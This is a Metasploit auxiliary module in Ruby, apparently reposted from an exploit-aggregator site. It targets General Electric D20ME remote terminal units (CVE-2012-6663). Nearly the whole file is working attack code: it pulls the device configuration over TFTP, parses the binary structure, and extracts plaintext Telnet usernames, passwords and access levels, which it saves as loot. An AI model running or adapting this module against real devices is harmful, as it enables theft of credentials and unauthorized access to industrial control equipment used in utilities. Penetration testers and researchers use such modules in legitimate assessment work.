Share
## https://sploitus.com/exploit?id=PACKETSTORM:180602
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module grabs the device configuration from a GE D20M* RTU and  
# parses the usernames and passwords from it.  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Rex::Ui::Text  
include Rex::Proto::TFTP  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'General Electric D20 Password Recovery',  
'Description' => %q{  
The General Electric D20ME and possibly other units (D200?) feature  
TFTP readable configurations with plaintext passwords. This module  
retrieves the username, password, and authentication level list.  
},  
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-6663'],  
],  
'DisclosureDate' => '2012-01-19'  
))  
  
register_options(  
[  
Opt::RPORT(69),  
Opt::RHOST('192.168.255.1'),  
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])  
])  
end  
  
def setup  
@rhost = datastore['RHOST']  
@rport = datastore['RPORT'] || 69  
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))  
@lhost = datastore['LHOST'] || "0.0.0.0"  
@rfile = datastore['REMOTE_CONFIG_NAME']  
end  
  
def cleanup  
if @tftp_client and @tftp_client.respond_to? :complete  
while not @tftp_client.complete  
select(nil,nil,nil,1)  
vprint_status "Cleaning up the TFTP client ports and threads."  
@tftp_client.stop  
end  
end  
end  
  
def rtarget(ip=nil)  
if (ip or rhost) and rport  
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "  
elsif (ip or rhost)  
rhost  
else  
""  
end  
end  
  
# Retrieve the file  
def retrieve  
print_status("Retrieving file")  
@tftp_client = Rex::Proto::TFTP::Client.new(  
"LocalHost" => @lhost,  
"LocalPort" => @lport,  
"PeerHost" => @rhost,  
"PeerPort" => @rport,  
"RemoteFile" => @rfile,  
"Action" => :download  
)  
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }  
@tftp_client.threads do |thread|  
thread.join  
end  
# Wait for GET to finish  
while not @tftp_client.complete  
select(nil, nil, nil, 0.1)  
end  
fh = @tftp_client.recv_tempfile  
return fh  
end  
  
# Builds a big-endian word  
def makeword(bytestr)  
return bytestr.unpack("n")[0]  
end  
# builds abi  
def makelong(bytestr)  
return bytestr.unpack("N")[0]  
end  
  
# Returns a pointer. We re-base the pointer  
# so that it may be used as a file pointer.  
# In the D20 memory, the file is located in flat  
# memory at 0x00800000.  
def makefptr(bytestr)  
ptr = makelong(bytestr)  
ptr = ptr - 0x00800000  
return ptr  
end  
  
# Build a string out of the file. Assumes that the string is  
# null-terminated. This will be the case in the D20 Username  
# and Password fields.  
def makestr(f, strptr)  
f.seek(strptr)  
str = ""  
b = f.read(1)  
if b != 0  
str = str + b  
end  
while b != "\000"  
b = f.read(1)  
if b != "\000"  
str = str + b  
end  
end  
return str  
end  
  
# configuration section names in the file are always  
# 8 bytes. Sometimes they are null-terminated strings,  
# but not always, so I use this silly helper function.  
def getname(f, entryptr)  
f.seek(entryptr + 12) # three ptrs then name  
str = f.read(8)  
return str  
end  
  
def leftchild(f, entryptr)  
f.seek(entryptr + 4)  
ptr = f.read(4)  
return makefptr(ptr)  
end  
  
def rightchild(f, entryptr)  
f.seek(entryptr + 8)  
ptr = f.read(4)  
return makefptr(ptr)  
end  
  
# find the entry in the configuration file.  
# the file is a binary tree, with pointers to parent, left, right  
# stored as 32-bit big-endian values.  
# sorry for depth-first recursion  
def findentry(f, name, start)  
f.seek(start)  
myname = getname(f, start)  
if name == myname  
return start  
end  
left = leftchild(f, start)  
right = rightchild(f, start)  
if name < myname  
if left < f.stat.size and left != 0  
res = findentry(f, name, leftchild(f, start))  
else  
res = nil # this should perolate up  
end  
end  
if name > myname  
if right < f.stat.size and right != 0  
res = findentry(f, name, rightchild(f, start))  
else  
res = nil  
end  
end  
return res  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Parse the usernames, passwords, and security levels from the config  
# It's a little ugly (lots of hard-coded offsets).  
# The userdata starts at an offset dictated by the B014USERS config  
# offset 0x14 (20) bytes. The rest is all about skipping past the  
# section header.  
def parseusers(f, userentryptr)  
f.seek(userentryptr + 0x14)  
dstart = makefptr(f.read(4))  
f.seek(userentryptr + 0x1C)  
numentries = makelong(f.read(4))  
f.seek(userentryptr + 0x60)  
headerlen = makeword(f.read(2))  
f.seek(userentryptr + 40) # sorry decimal  
entrylen = makeword(f.read(2)) # sorry this is decimal  
logins = Rex::Text::Table.new(  
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",  
'Indent' => 1,  
'Columns' => ["Type", "User Name", "Password"])  
  
0.upto(numentries -1).each do |i|  
f.seek(dstart + headerlen + i * entrylen)  
accounttype = makeword(f.read(2))  
f.seek(dstart + headerlen + i * entrylen + 2)  
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)  
f.seek(dstart + headerlen + i * entrylen + 2 + 22)  
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)  
if accountname.size + accountpass.size > 44  
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")  
break  
end  
logins << [accounttype, accountname, accountpass]  
report_cred(  
ip: datastore['RHOST'],  
port: 23,  
service_name: 'telnet',  
user: accountname,  
password: accountpass,  
proof: accounttype  
)  
end  
if not logins.rows.empty?  
loot = store_loot(  
"d20.user.creds",  
"text/csv",  
datastore['RHOST'],  
logins.to_s,  
"d20_user_creds.txt",  
"General Electric TELNET User Credentials",  
datastore['RPORT']  
)  
print_line logins.to_s  
print_status("Loot stored in: #{loot}")  
else  
print_error("No data collected")  
end  
end  
  
def parse(fh)  
print_status("Parsing file")  
File.open(fh.path, 'rb') do |f|  
used = f.read(4)  
if used != "USED"  
print_error "Invalid Configuration File!"  
return  
end  
f.seek(0x38)  
start = makefptr(f.read(4))  
userptr = findentry(f, "B014USER", start)  
if userptr != nil  
parseusers(f, userptr)  
else  
print_error "Error finding the user table in the configuration."  
end  
end  
end  
  
def run  
fh = retrieve  
parse(fh)  
end  
  
def print_tftp_status(msg)  
case msg  
when /Aborting/, /errors.$/  
print_error [rtarget,msg].join  
when /^WRQ accepted/, /^Sending/, /complete!$/  
print_good [rtarget,msg].join  
else  
vprint_status [rtarget,msg].join  
end  
end  
end